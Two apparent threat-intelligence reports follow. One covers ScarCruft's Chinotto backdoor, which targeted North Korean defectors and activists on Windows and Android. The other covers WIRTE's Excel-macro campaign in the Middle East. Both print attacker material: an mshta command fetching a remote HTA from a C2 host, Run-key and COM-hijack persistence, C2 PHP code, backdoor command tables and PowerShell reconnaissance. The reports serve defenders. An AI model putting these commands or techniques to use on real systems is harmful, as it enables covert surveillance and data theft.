    We were working closely with a local CERT to investigate the attacker’s command and control infrastructure and as a result of this, we were able better understand how it works. The APT operator controls the malware using a PHP script on the compromised web server and controls the implants based on the HTTP parameters. We were also able to acquire several log files from the compromised servers. Based on said files, we identified additional victims in South Korea and compromised web servers that have been utilized by ScarCruft since early 2021. Additionally, we discovered older variants of the malware, delivered via HWP documents, dating back to mid-2020.

    More information about ScarCruft is available to customers of Kaspersky Intelligence Reporting. Contact: intelreports@kaspersky.com

    Spear-phishing document

    Before spear-phishing a potential victim and sending a malicious document, the actor contacted an acquaintance of the victim using the victim’s stolen Facebook account. The actor already knew that the potential target ran a business related to North Korea and asked about its current status. After a conversation on social media, the actor sent a spear-phishing email to the potential victim using a stolen email account. The actor leveraged their attacks using stolen login credentials, such as Facebook and personal email accounts, and thereby showed a high level of sophistication.

    After a Facebook conversation, the potential target received a spear-phishing email from the actor. It contains a password-protected RAR archive with the password shown in the email body. The RAR file contains a malicious Word document.

    Spear-phishing email and decoy

    This document contains a lure related to North Korea.

    MD5 File name Modified time Author Last saved user baa9b34f152076ecc4e01e35ecc2de18 북한의 최근 정세와 우리의 안보.doc

    (North Korea’s latest situation and our national security) 2021-09-03 09:34:00 Leopard Cloud

    This document contains a malicious macro and a payload for a multi-stage infection process. The first stage’s macro contains obfuscated strings and then spawns another macro as a second stage.

    The first stage macro checks for the presence of a Kaspersky security solution on the victim’s machine by trying the following file paths:

    • C:\Windows\avp.exe # Kaspersky AV
    • C:\Windows\Kavsvc.exe # Kaspersky AV
    • C:\Windows\clisve.exe # Unknown

    If a Kaspersky security solution is indeed installed on the system, it enables trust access for Visual Basic Application (VBA) by setting the following registry key to ‘1’:


    By doing so, Microsoft Office will trust all macros and run any code without showing a security warning or requiring the user’s permission. Next, the macro creates a mutex named ‘​​sensiblemtv16n’ and opens the malicious file once more. Thanks to the “trust all macros” setting, the macro will be executed automatically.

    If no Kaspersky security software is installed, the macro directly proceeds to decrypt the next stage’s payload. In order to achieve this, it uses a variation of a substitution method. The script compares the given encrypted string with a second string to get an index of matched characters. Next, it receives a decrypted character with an index acquired from the first string.

    • First string: BU+13r7JX9A)dwxvD5h2WpQOGfbmNKPcLelj(kogHs.#yi*IET6V&tC,uYz=Z0RS8aM4Fqn
    • Second string: v&tC,uYz=Z0RS8aM4FqnD5h2WpQOGfbmNKPcLelj(kogHs.#yi*IET6V7JX9A)dwxBU+13r

    The decrypted second stage Visual Basic Application (VBA) contains shellcode as a hex string. This script is responsible for injecting the shellcode into the process notepad.exe.

    Shellcode in the second stage VBA

    The shellcode contains the URL to fetch the next stage payload. After fetching the payload, the shellcode decrypts it with trivial single-byte XOR decryption. Unfortunately, we weren’t able to gather the final payload when we investigated this sample.

    The payload’s download path is:


    Host investigation

    As a result of our efforts in helping the victim with the analysis, we had a chance to investigate the host of the owner who sent the spear-phishing email. When we first checked the process list, there was a suspicious PowerShell process running with a rather suspicious parameter.

    This PowerShell command was registered via the Run registry key as a mechanism for persistence:

    • Registry path: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run – ONEGO
    c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 300000 || mshta hxxp://[redacted].cafe24[.]com/bbs/probook/1.html This registry key causes the HTML Application (HTA) file to get fetched and executed by the mshta.exe process every time the system is booted. The fetched ‘1.html’ is an HTML Application (.hta) file that contains Visual Basic Script (VBS), which eventually executes PowerShell commands.

    The PowerShell script offers simple backdoor functionalities and continuously queries the C2 server with HTTP POST requests containing several parameters. At first, it sends a beacon to the C2 server with the host name:

    hxxp://[redacted].cafe24[.]com/bbs/probook/do.php?type=hello&direction=send&id=[host name]

    Next, it attempts to download commands from the C2 server with the following format:


    If the HTTP response from the C2 server is 200, it checks the response data and executes the delivered commands.

    Delivered data Description ref: Send a beacon to the C2 server:
    HTTP request: ?type=hello&direction=send&id= cmd: If the command data includes ‘start’, execute the given command with cmd.exe and send base64 encoded ‘OK’ with the following POST format. Otherwise, it executes the given command, redirecting the result to the result file (%APPDATA%\desktop.dat), and sends the contents of the file after base64 encoding.
    HTTP request: ?type=result&direction=send&id=

    We discovered additional malware, tools and stolen files from the victim’s host. Due to limited access to the compromised host, we were unable to figure out the initial infection vector. However, we assess this host was compromised on March 22, 2021, based on the timestamp of the suspicious files. One characteristic of the malware we discovered from the victim is the writing of execution results from commands to the file “%appdata%\desktop.dat”. According to the Master File Table (MFT) information, this file was created the same day, March 22, 2021, and the last modification time is on September 8, 2021, which means this file was used until just before our investigation.

    Using the additional tools, the malware operator collected sensitive information from this victim, although we can’t assess exactly how much data was exfiltrated and what kind of data was stolen. Based on the timestamp of the folders and files created by the malware, the actor collected and exfiltrated files as early as August 2021. The log files with the .dat extension are encrypted, but can be decrypted with the one-byte XOR key 0x75. These log files contain the uploading history. We found two log files and each of them contains slightly different logs. The ‘B14yNKWdROad6DDeFxkxPZpsUmb.dat’ file contains zipping and uploading of the folder bearing the same name. The log file presents the process as: “Zip Dir Start > Up Init > Up Start > Up File Succeed > Zip Dir Succeed”. According to the log file, the malware operator collected something from the infected system in this folder and uploaded it after archiving.

    File archiving and uploading log

    The other log file, named “s5gRAEs70xTHkAdUjl_DY1fD.dat”, also contains a file uploading history, except for file zipping messages. It processes each file with this procedure: “Up Init > Up Start > Up File Succeed”.

    File uploading log

    Based on what we found from this victim, we can confirm that the malware operator collected screenshots and exfiltrated them between August 6, 2021 and September 8, 2021.  Based on what we found out from the victim, we can summarize the whole infection timeline. We suspect this host was compromised on March 22, 2021. After the initial infection, the actor attempted to implant additional malware, but an error occurred that led to the crash of the malware. The malware operator later delivered the Chinotto malware in August 2021 and probably started to exfiltrate sensitive data from the victim.

    Timeline of the attack on the victim

    Windows executable Chinotto

    As a result of the host investigation, we discovered a malicious Windows executable and found additional malware variants from VirusTotal and our own sample collection. One of the Windows executables contains a build path and the malware author appears to call the malware “Chinotto“.

    PDB path

    The technical specifications in this analysis are based on the Chinotto malware (MD5 00df5bbac9ad059c441e8fef9fefc3c1) we discovered from the host investigation. One of the characteristics of this malware is that it contains a lot of garbage code to impede analysis. During runtime, the malware copies unused data to the allocated buffer before copying the real value; or allocates an unused buffer, filling it with meaningless data, and never uses it.

    It also restores functional strings such as C2 addresses and debugging messages to the stack at runtime. The malware creates a mutex and fetches the C2 addresses, which are different for each sample we discovered:

    Mutex: NxaNnkHnJiNAuDCcoCKRAngjHVUZG2hSZL03pw8Y C2 address: hxxp://luminix.openhaja[.]com/bbs/data/proc1/proc.php

    In order to generate the identification value of the victim, the malware acquires both computer and user name and combines them in the format ‘%computer name%_%user name%’. Next, it encrypts the acquired string with the XOR key ‘YFXAWSAEAXee12D4’ and encodes it with base64.

    The backdoor continuously queries the C2 server, awaiting commands from the malware operator. We observed an early version of Chinotto malware (MD5 55afe67b0cd4a01f3a9a6621c26b1a49) which, while it also follows this simple principle, uses a hard-coded backdoor command ‘scap’. This means this specific sample is only designed for exfiltrating the victim’s screenshot.

    The Chinotto malware shows fully fledged capabilities to control and exfiltrate sensitive information from the victims.

    Command Description ref: Send beacon to the C2 server:

    http://[C2 URL]?ref=id=%s&type=hello&direction=send cmd: Execute Windows commands and save the result to the %APPDATA%\s5gRAEs70xTHkAdUjl_DY1f.dat file after encrypting with a one-byte XOR key down: Download file from the remote server up: Upload file state: Upload log file (s5gRAEs70xTHkAdUjl_DY1fD.dat) regstart: Copy current malware to the ​​CSIDL_COMMON_DOCUMENTS folder and execute command to register file to run registry:

    “reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v a2McCq /t REG_SZ /d %s /f” cleartemp: Remove files from folder “%APPDATA%\s5gRAEs70xTHkAdUjl_DY1fD” updir: Archive directory and upload it. Archive is XOR encoded using the same key used when creating the identification value: ‘YFXAWSAEAXee12D4’ init: Collect files with following extensions from the paths CSIDL_DESKTOP, CSIDL_PERSONAL(CSIDL_MYDOCUMENTS), CSIDL_MYMUSIC, CSIDL_MYVIDEO. Downloads and upload them to C2 server:

    jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|txt|mp3|amr|m4a|ogg|aac|wav|wma|3gpp|eml|lnk|zip|rar|egg|alz|7z|vcf|3gp scap: Take a screenshot, save it to the folder “%appdata%\s5gRAEs70xTHkAdUjl_DY1fD” in an archived format. The file to store the screenshot has an ‘e_‘ prefix and 10 randomly generated characters as a filename. When uploading the screenshot file, it uses ‘wrpdwRwsFEse’ as the filename run: Run Windows commands with ShellExecuteW API chdec: Download an encrypted file and decrypt it via CryptUnprotectData API update: Download updated malware and register it:

    reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v m4cVWKDsa9WxAWr41iaNGR /t REG_SZ /d %s /f wait: Sleep for 30 minutes wakeup: Wake up after 2.5 seconds

    Another malware sample (MD5 04ddb77e44ac13c78d6cb304d71e2b86) that demonstrated a slight difference during runtime was discovered from the same victim. This is the same fully featured backdoor, but it loads the backdoor command using a different scheme. The malware checks for the existence of a ‘*.zbpiz’ file in the same folder. If it exists, it loads the file’s content and uses it as a backdoor command after decrypting. The malware authors keep changing the capabilities of the malware to evade detection and create custom variants depending on the victim’s scenario.

    In addition, there are different Windows executable variants of the Chinotto malware. Apart from the conventional Chinotto malware mentioned above, a different variant contains an embedded PowerShell script. The spawned PowerShell command has similar functionality to the PowerShell we found from the victim. However, it contains additional backdoor commands, such as uploading and downloading capabilities. Based on the build timestamp of the malware, we assess that the malware author used the PowerShell embedded version from mid-2019 to mid-2020 and started to use the malicious, PowerShell-less Windows executable from the end of 2020 onward.

    Android Chinotto

    Based on the C2 communication pattern, we discovered an Android application version of Chinotto malware (MD5 56f3d2bcf67cf9f7b7d16ce8a5f8140a). This malicious APK requests excessive permissions according to the AndroidManifest.xml file. To achieve its purpose of spying on the user, these apps ask users to enable various sorts of permissions. Granting these permissions allows the apps to collect sensitive information, including contacts, messages, call logs, device information and audio recordings. Each sample has a different package name, with the analyzed sample bearing “com.secure.protect” as a package name.

    The malware sends its unique device ID in the same format as the Windows executable version of Chinotto.

    Beacon URI pattern: [C2 url]?type=hello&direction=send&id=[Unique Device ID]

    Next, it receives a command after the following HTTP request:

    Retrieve commands: [C2 url]?type=command&direction=receive&id=[Unique Device ID]

    If the delivered data from the C2 server is not “ERROR” or “Fail”, the malware starts to carry out backdoor operations.

    Command URI pattern Description ref: ?type=hello&direction=send&id= Send the same beacon request to the C2 server down ?type=file&direction=send&id= Upload the temporary file (/sdcard/.temp-file.dat) to the C2 server and remove it from local storage. UriP ?type=file&direction=send&id= Save temporary file path to the result file (/sdcard/result-file.dat) and upload the temporary file. UploadInfo ?type=hello&direction=send&id=

    ?type=file&direction=send&id= After sending a beacon, collect the following information to the /icloud/tmp-web path:

    • Info.txt: Phone number, IP address, SDK version (OS version), Temporary file path
    • Sms.txt: Save all text messages with JSON format
    • Calllog.txt: Save all call logs with JSON format
    • Contact.txt: Save all contact lists with JSON format
    • Account.txt: Save all account information with JSON format

    Upload collected file after archiving. The archived file is encrypted by AES with the key “3399CEFC3326EEFF”. UploadFile ?type=file&direction=send&id= Execute command ‘cd /sdcard;ls -alR’, save the result to the temporary file (/sdcard/.temp-file.dat) and upload it. Upload all thumbnails and photos after encrypting via AES and the key “3399CEFC3326EEFF”. ETC ?type=file&direction=send&id= Execute command saving the result to the result file (/sdcard/result-file.dat)
    and upload the result

    We found that the actor had an interest in a more specific file list in one variant (MD5 cba17c78b84d1e440722178a97886bb7). The ‘UploadFile’ command of this variant uploads specific files to the C2 server.  The AMR file is an audio file generally used for recording phone calls. Also, Huawei cloud and Tencent services are two of the targets. To surveil the victim, the list includes target folders as well as /Camera, /Recordings, /KakaoTalk (a renowned Korean messenger), /문건(documents), /사진(pictures) and /좋은글(good articles).

    Targeted files and folders

    To sum up, the actor targeted victims with a probable spear-phishing attack for Windows systems and smishing for Android systems. The actor leverages Windows executable versions and PowerShell versions to control Windows systems. We may presume that if a victim’s host and mobile are infected at the same time, the malware operator is able to overcome two-factor authentication by stealing SMS messages from the mobile phone. After a backdoor operation with a fully featured backdoor, the operator is able to steal any information they are interested in. Using the stolen information, the actor further leverages their attacks. For example, the group attempts to infect additional valuable hosts and contact potential victims using stolen social media accounts or email accounts.

    Attack procedure

    Older malicious HWP documents

    The threat actor behind this campaign delivered the same malware with a malicious HWP file. At that time, lures related to COVID-19 and credential access were used.

    HWP hash HWP file name Dropped payload hash f17502d3e12615b0fa8868472a4eabfb 코로나19 재감염 사례-백신 무용지물.hwp
    (Covid-19 reinfection case-Useless vaccine.hwp) 72e5b8ea33aeb083631d1e8b302e76af
    (Visual Basic Script) c155f49f0a9042d6df68fb593968e110 계정기능 제한 안내.hwp
    (Notice of limitation of account.hwp) 5a7ef48fe0e8ae65733db64ddb7f2478
    (Windows executable)

    The Visual Basic Script created by the first HWP file (MD5 f17502d3e12615b0fa8868472a4eabfb) has similar functionalities to the Chinotto malware. It also uses the same HTTP communication pattern. The second payload dropped from the malicious HWP is a Windows executable executing an embedded PowerShell script with the same functionalities. These discoveries reveal related activity dating back to at least mid-2020.


    In this campaign, the actor relied solely on compromised web servers, mostly located in South Korea. During this research we worked closely with the local CERT to take down the attacker’s infrastructure and had a chance to look into one of the scripts on the C2 servers that control the Chinotto malware. The C2 script (named “do.php”) uses several predefined files to save the client’s status (shakest) and commands (comcmd). Also, it parses several parameters (id, type, direction, data) delivered by the HTTP request from the implant:

    $type = ""; # 'type' parameter $shakename = "shakest"; # Save client status $comcmdname = "comcmd"; # Save commands $btid = ""; # Client unique ID $direction = ""; # 'direction' parameter $data = ""; # 'data' parameter if (isset($_GET['id'])){ $btid = $_GET['id']; } if (isset($_GET['type'])){ $type = $_GET['type']; } if (isset($_GET['direction'])){ $direction = $_GET['direction']; } if (isset($_GET['data'])){ $data = $_GET['data']; .. $comname = $btid.""; $comresname = $comname . "-result";

    In order to control the client, the C2 script uses HTTP parameters. First, it checks the value of the ‘type’ parameter. The ‘type’ parameter carries four values: hello, command, result, and file.

    Value of ‘type’ param Description hello Report and control the client status command Hold the command from the operator or retrieve the command from the client result Upload the command execution result or retrieve the command file Upload file to the C2 server ‘hello’ type

    When the script receives the ‘type=hello’ parameter, it checks the value of ‘direction’. In this routine, the script checks the status of the client. The malware operator saves the client status to a specific file, the ‘shakest’ file in this case. If the ‘send’ value is being received, the client status is set to ‘ON’. If ‘receive’ is set as well, the client’s status log file is sent (likely in order to send the status of clients to the malware operator). The ‘refresh’ value is for setting all clients to ‘OFF’ and ‘release’ is used to initialize the command file. The client just replies ‘OK’.

    ‘type=hello’ commands

    ‘command’ type

    In order to manage the implant’s commands, the C2 script handles several additional parameters. If the ‘type=command’ alongside ‘direction=receive’ is set, it issues a request from the client to retrieve a command.

    There are two kinds of command files: common commands like an initial command or commands sent to all clients, and individual commands for a specific client. If an individual command exists for a client, it delivers it. Otherwise, the client is sent a common command. If the ‘direction’ parameter is set to ‘send’, the request is coming from the malware operator in order to save the sent command in the C2 server. Using this request, the operator can set two commands files: common command or individual command. If the ‘botid’ parameter contains ‘cli’, it means this request is for setting a common command file. If the ‘data’ parameter contains ‘refclear:’, the common command file gets initialized. Otherwise, the ‘data’ value is saved to the common command file. If ‘botid’ is not ‘cli’, it means this request is directed to an individual command file. The process of saving the individual command file is the same as the process used for saving the common command.

    type=command commands

    ‘result’ type

    When uploading command execution results coming from the implant, the script sets the ‘type’ parameter to ‘result’. If the ‘direction’ parameter equals ‘send’, it saves the value of the ‘data’ parameter to the individual result file: “[botid]-result. The ‘receive’ value of the ‘direction’ parameter means retrieving the individual result file. The script then sends the result file to the operator after encoding it with base64.

    ‘file’ type

    The last possible ‘type’ command is ‘file’. This value is used for exfiltrating files from the victim. If a file upload succeeds, the script sends the message ‘SEND SUCCESS’. Otherwise, it sends ‘There was an error uploading the file, please try again!’.

    We discovered that the malware operator used a separate webpage to monitor and control the victims. From several compromised C2 servers we see a control page carrying a ‘control.php’ file name.

    Control page from this case

    The control page shows a simple structure. The operator can see a list of infected hosts in the left panel with the corresponding status “ON” or “OFF”. Based on this information, the operator is able to issue a command using the right panel and watch the result from the client.


    We began this research by providing support to human rights activists and defectors from North Korea against an actor seeking to surveil and track them.

    Additionally, we discovered further victims we couldn’t profile from analyzing the C2 servers. From analyzing the attacker’s infrastructure, we found 75 client connections between January 2021 and February 2021. Most IP addresses seem to be Tor or VPN connections, which are likely to be either from researchers or the malware operators.

    Analyzing other C2 servers, we found more information about possible additional victims. Excluding connections coming from Tor, there are only connections coming from South Korea. Based on the IP addresses, we could distinguish four different suspected victims located in South Korea, and determine their operating system and browser used based on user-agent information:

    Victim A connected to the C2 server from July 16 to September 5 and has outdated versions of Windows OS and Internet Explorer. Victim B connected to this server on September 4 and operates Windows 8 and Internet Explorer 10. While we were investigating the C2 server, Victim D kept connecting to it, using Windows 10 with Chrome version 78.

    Timeline of victims

    To sum up, this campaign is targeting entities in South Korea, which is a top point of interest for ScarCruft. Based on our findings, we also assume that the threat actor targeted individuals rather than specific companies or organizations.


    We discovered several code overlaps with old ScarCruft malware named POORWEB. At first, when Chinotto malware uploads the file to the C2 server, it uses the HTTP POST request with a boundary generated with a random function. When Chinotto malware (MD5 00df5bbac9ad059c441e8fef9fefc3c1) generates a boundary value, it executes the random() function twice and concatenates each value. The generation process is not exactly the same, but it utilizes a similar scheme as the old POORWEB malware (MD5 97b35c34d600088e2a281c3874035f59).

    HTTP boundary generation routine

    Moreover, there is additional code overlap with Document Stealer malware (MD5 cff9d2f8dae891bd5549bde869fe8b7a) that was previously utilized with POORWEB malware. When the Chinotto malware checks the response from the C2 server, it checks whether the response is ‘HTTP/1.1 200 OK’ and not ‘error’. This Document Stealer malware also has the same routine to check responses from the C2 server.

    C2 response check routine

    Apart from code similarity, historically, ScarCruft group is known to surveil individuals related to North Korea such as journalists, defectors, diplomats and government employees. The target of this attack is within the same scope as previous ScarCruft group campaigns. Based on the victimology and several code overlaps, we assess with medium confidence that this cyber-espionage operation is related to the ScarCruft group.


    Many journalists, defectors and human rights activists are targets of sophisticated cyberattacks. Unlike corporations, these targets typically don’t have sufficient tools to protect against and respond to highly skilled surveillance attacks. One of the purposes of our team is to help individuals targeted by APT groups. This research stemmed from this kind of endeavor. Our collaboration with the local CERT allowed us to gain a unique look into ScarCruft’s infrastructure setup and allowed us to discover many technical details.

    Using these findings, we found additional Android variants of the same malware, which has been invaluable in understanding and tracking ScarCruft TTPs. Moreover, while hunting for related activity, we uncovered an older set of activity dating back to mid-2020, possibly indicating that ScarCruft operations against this set of individuals have been operating for a longer period of time.

    Indicators of compromise

    Malicious documents

    baa9b34f152076ecc4e01e35ecc2de18 북한의 최근 정세와 우리의 안보.doc 7d5283a844c5d17881e91a5909a5af3c 화학원료.doc (similar document)

    HTA file

    e9e13dd4434e2a2392228712f73c98ef 1.html

    Windows executable Chinotto

    00df5bbac9ad059c441e8fef9fefc3c1 alyakscan.exe 04ddb77e44ac13c78d6cb304d71e2b86 anprotect5.exe 55afe67b0cd4a01f3a9a6621c26b1a49 93bcbf59ac14e14c1c39a18d8ddf28ee

    PowerShell embedded Chinotto


    Android application Chinotto


    Payload hosting URLs


    Command and control server


    MITRE ATT&CK mapping Tactic Technique Technique Name         Resource Development T1584.006 Compromise Infrastructure: Web Services Initial Access T1566.001 Phishing: Spear-phishing Attachment Execution T1059.001

    T1059.005 Command and Scripting Interpreter: PowerShell

    Command and Scripting Interpreter: Visual Basic Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys/Startup Folder Defense Evasion T1140

    T1036.005 Deobfuscate/Decode Files or Information

    Masquerading: Match Legitimate Name or Location Discovery T1033

    T1082 System Owner/User Discovery

    System Information Discovery Collection T1113

    T1560.002 Screen Capture

    Archive Collected Data: Archive via Library Command and Control T1071.001

    T1573.001 Application Layer Protocol: Web Protocols

    Encrypted Channel: Symmetric Cryptography Exfiltration T1041 Exfiltration Over C2 Channel

    2021. november 29.

    WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019


    This February, during our hunting efforts for threat actors using VBS/VBA implants, we came across MS Excel droppers that use hidden spreadsheets and VBA macros to drop their first stage implant. The implant itself is a VBS script with functionality to collect system information and execute arbitrary code sent by the attackers on the infected machine.

    Although these intrusion sets may appear similar to the new MuddyWater first stage VBS implant used for reconnaissance and profiling activities, which we described recently in a private report, they have slightly different TTPs and wider targeting. To date, most of the known victims are located in the Middle East, but there are also targets in other regions. Various industries are affected by this campaign. The main focus is on government and diplomatic entities, though we also noticed an unusual targeting of law firms and financial institutions.

    We attribute this campaign with high confidence to an actor named WIRTE, which is a lesser-known threat actor first publicly referenced by our colleagues at Lab52 in 2019. We further suspect, with low confidence, that the WIRTE group has relations with the Gaza Cybergang threat actor.

    Gaining an initial foothold

    In the instances we have observed, the threat actor sent spear-phishing emails, luring the victims to open a malicious Microsoft Excel/Word document. The Excel droppers observed in all instances were using Excel 4.0 macros – a technique that uses formulas in hidden spreadsheets or cells that execute macro 4.0 commands – to drop malware that in our particular case was named Ferocious dropper. The Word droppers were using standard VBA macros to download the payload. The actor tailored the decoy contents to the targeted victims, using logos and themes relevant to the targeted company or using trending topics from their region and, in one instance, even mimicking the Palestinian authority.

    However, in some cases we saw a fake ‘Kaspersky Update Agent’ executable acting as a dropper for the VBS implant. We were unable to confirm if this PE file was also distributed through email or downloaded by the threat actor after some initial penetration, but our analysis shows it has the same execution flow as the Excel 4.0 macros.

    Sample VBS dropper Excel and Word documents, and executable

    Exploitation, installation and persistence Ferocious dropper

    This first stage implant is composed of VBS and PowerShell scripts. The actor used some interesting new techniques in the dropper’s execution flow. Below, we break it down into three parts:

    1. Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Initially, they will hide the main spreadsheet that requested the user to “enable editing”, then unhide a secondary spreadsheet that contains the decoy, to avoid raising suspicion. The dropper will then run formulas from a third spreadsheet with hidden columns. The infection process will start by running three basic anti-sandbox checks using the Excel 4.0 function “GET.WORKSPACE”, with three integers:

      • 1: Get the name of the environment in which Microsoft Excel is running, as text, followed by the environment’s version number. The result will then be compared to a predefined Windows version in a hidden cell, for example: Windows (64-bit) NT :.00, Windows (64-bit) NT 6.01, Windows (32-bit) NT 10.00, Windows (32-bit) NT 6.02.

      • 19: Check if a mouse is present.

      • 42: Check if the host computer is capable of playing sounds.

        If any of the above checks fail, or if the Windows environment matches any of the aforementioned versions predefined in the document (different documents have different predefined versions), the process will halt. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence.

    2. Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. In turn, the VBS script will write an embedded PowerShell snippet to a predefined filename that varies between samples, for instance, %ProgramData%\regionh.txt. The VBS script will also add two important registry keys for persistence.

      The persistence technique observed in all intrusions uses COM hijacking. In this technique, the threat actor is able to add a Class ID in the current user registry hive (HKCU) referencing the malicious VBS script written previously to %ProgramData%\winrm.vbs. This registry modification will effectively invoke the malicious VBS script any time a program or script references “Scripting.Dictionary” COM programs during their execution.

      In our analysis and testing, the WinRM Scripting API that is called by the legitimate Windows VBS scripts “C:\Windows\System32\winrm.vbs” or “C:\Windows\SysWOW64\winrm.vbs”, are able to trigger the persistence mechanism smoothly. Microsoft’s command line licensing tool slmgr.vbs is also able to provide similar results. Both winrm.vbs and slmgr.vbs were leveraged across different intrusions. The mechanism through which these scripts are invoked during the boot process is described in a later section.

      Registry keys used for COM hijacking

      After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files.

    3. Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt. However, this time it writes a PowerShell one-liner wrapped with VB code temporarily into %ProgramData%\winrm.txt and then saved into %ProgramData%\winrm.vbs. This one-liner acts as a stager for the PowerShell snippet written in regionh.txt mentioned above. Once successful, the macro invokes %ProgramData%\winrm.vbs again using explorer.exe, which in turn will execute the PowerShell snippet that connects to the C2 server and which we named LitePower Stager.
    LitePower stager

    The implant is a small PowerShell script that acts as a downloader and secondary stager used to execute commands provided by its C2, and possibly download and deploy further malware.

    LitePower PowerShell implant

    This script is able to connect with the embedded C2 domain using predefined HTTP settings such as a unique User-Agent:

    Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:FTS_06) Gecko/ Firefox/2.0

    Interestingly, and across the different incidents we observed, the “rv” field of the user agent has changed. In the example above, it is FTS_06. However, we have seen more than 10 variations (listed in the IoC section). We suspect these are used to track intrusions.

    If the connection to the C2 server is successful, the script parses the output and invokes it using IEX. The script sleeps for a random number of seconds between 60 and 100 after each attempt to reach the C2. If the threat actor succeeds in establishing C2 communications using LitePower, further payloads containing system commands are sent back to the victim in the form of PowerShell functions through HTTP GET requests, and the command results are sent back as HTTP POST requests to the C2 server. The GET requests will be parsed by LitePower and invoked using PowerShell’s IEX function.

    The threat actor initially conducts system reconnaissance to assess the AV software installed and the user privilege. This is followed by the creation of a legitimate scheduled task to trigger “Scripting.Dictionary” COM programs; this will become the cornerstone that allows the persistence to work using the COM hijacking technique and the registry keys added during the installation phase described above.

    Sample scheduled task settings referencing SLMGR.VBS to trigger WINRM.VBS through COM hijacking

    The commands observed during the different intrusions are summarized below:

    Command Description Get-WmiObject Win32_logicaldisk -Filter ‘DeviceID=”C:”’ |
    select volumeserialnumber List local disk drives ‘SELECT * FROM AntiVirusProduct’
    $antivirusProduct = Get-WmiObject -Namespace
    ‘root\SecurityCenter2’ -Query $wmiQuery
    if($antivirusProduct.displayName -eq ”){$ret= ‘N/A’}
    else{$ret= $antivirusProduct.displayName} Get list of antivirus software installed New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsId
    inRole]::Administrator Check if current user has admin privileges Get-WmiObject win32_operatingsystem).caption) + ‘ x’+ ((Get-
    WmiObject Win32_OperatingSystem).OSArchitecture).substring(0,2) Get operating system architecture

    Additional long functions that we observed can be summarized as follows:

    • Function Get-ServiceStatus: checks for possible backdoors installed as services (MsDataSvc and NgcCtrlSvc), if the computer is part of a domain, and if the current user is a member of “Domain admins”.
    • Function Get-PersistenceStatus: checks for the registry keys added for COM hijacking.
    • Function Get-HotFixes: lists all hotfixes installed.
    • Screenshot: takes system screenshots and saves them to %AppData% before sending them to the C2 via a POST request.
    Command and control

    In our initial sample analysis, the C2 domain we observed was stgeorgebankers[.]com. After conducting pivots through malware samples, we were able to identify multiple C2 domains that date back to at least December 2019. These C2 domains were occasionally behind CloudFlare to obscure the real C2 IP address. Thanks to collaboration with our partners, we were able to gather some of the original C2 IP addresses, which allowed us to discover that the servers are hosted in Ukraine and Estonia.

    Infrastructure overview

    By looking for more machines presenting identical TLS certificates, we were able to identify additional domain names and IP addresses. Interestingly, the server mapped to kneeexercises[.]net listens for incoming HTTPS connections on several ports and uses common names seen on other C2 domains. For example, ports 2083 and 8443 had CN firstohiobank[.]com, and TCP port 2087 had a TLS certificate with the common name dentalmatrix[.]net. We observed use of these non-standard ports during some of the older intrusions, while the newer ones mostly use port 443.


    Our telemetry indicates that the threat actor has targeted a variety of verticals including diplomatic and financial institutions, government, law firms, military organizations, and technology companies. The affected entities are located in Armenia, Cyprus, Egypt, Jordan, Lebanon, Palestine, Syria and Turkey.

    Threat actor assessment

    We assess with high confidence that the intrusions discussed here are associated with the WIRTE threat actor group.

    WIRTE used documents deploying Visual Basic Script (VBS), potentially delivered through spear phishing, decoys with Arabic content, occasionally associated with Palestinian matters.

    We see the same theme being followed in the intrusions discussed in this report. Both old and new intrusions leveraged VBS and PowerShell in similar ways to stage additional tools and communicate with the C2.

    Even though the latest intrusions are using TCP/443 over HTTPS in C2 communications, the oldest intrusions explored in this report used similar ports to those mentioned in the public post by Lab52, such as TCP 2096 and 2087. In addition, the C2 requests explored here and in the public post have similar PowerShell IEX command execution and sleep functions.

    Old C2 request highlighting the status condition, IEX invocation and 60-100 sleep function

    New C2 request highlighting the status condition, IEX invocation and 60-100 sleep function

    The snippets above also show the custom user-agents. Although the old intrusions had them encoded, the intrusions explored in this report had them in plain text. In both cases the adversaries identified separate intrusions by changing the “rv” field.

    The C2s in both cases were protected by Cloudflare, and the real VPSs were under ASNs primarily in Ukraine (e.g., ASN 201094).

    In the Lab52 post, the author described the use of a defense evasion and living-off-the-land (LotL) technique using regsvr32.exe, whereas in the intrusions explored in this report, the threat actor used another LotL technique such as COM hijacking. In both cases, the working directory is %ProgramData%.

    All in all, we believe that all these similarities are a strong indication that the attacks described in this report were conducted by the WIRTE threat actor.

    We assess with low confidence that WIRTE is a subgroup under the Gaza Cybergang umbrella. Although the three subgroups we are tracking use entirely different TTPs, they all occasionally use decoys associated with Palestinian matters, which we haven’t seen commonly used by other threat actors, especially those operating in the Middle East region such as MuddyWater and Oilrig.

    Conclusion and outlook

    WIRTE operators use simple and rather common TTPs that have allowed them to remain undetected for a long period of time. If our assessment of associating WIRTE with Gaza Cybergang proves to be correct in the future, it may signal a change in the group’s motivation. Gaza Cybergang is politically motivated and therefore primarily targets governmental and political entities; it is unusual for such groups to target law firms and financial institutions. Despite the targeting of these latter spheres, the majority of victims still fall within the government and diplomatic categories.

    WIRTE modified their toolset and how they operate to remain stealthy for a longer period of time. Living-off-the-land (LotL) techniques are an interesting new addition to their TTPs. This suspected subgroup of Gaza Cybergang used simple yet effective methods to compromise its victims with better OpSec than its suspected counterparts. Using interpreted language malware such as VBS and PowerShell scripts, unlike the other Gaza Cybergang subgroups, adds flexibility to update their toolset and avoid static detection controls.

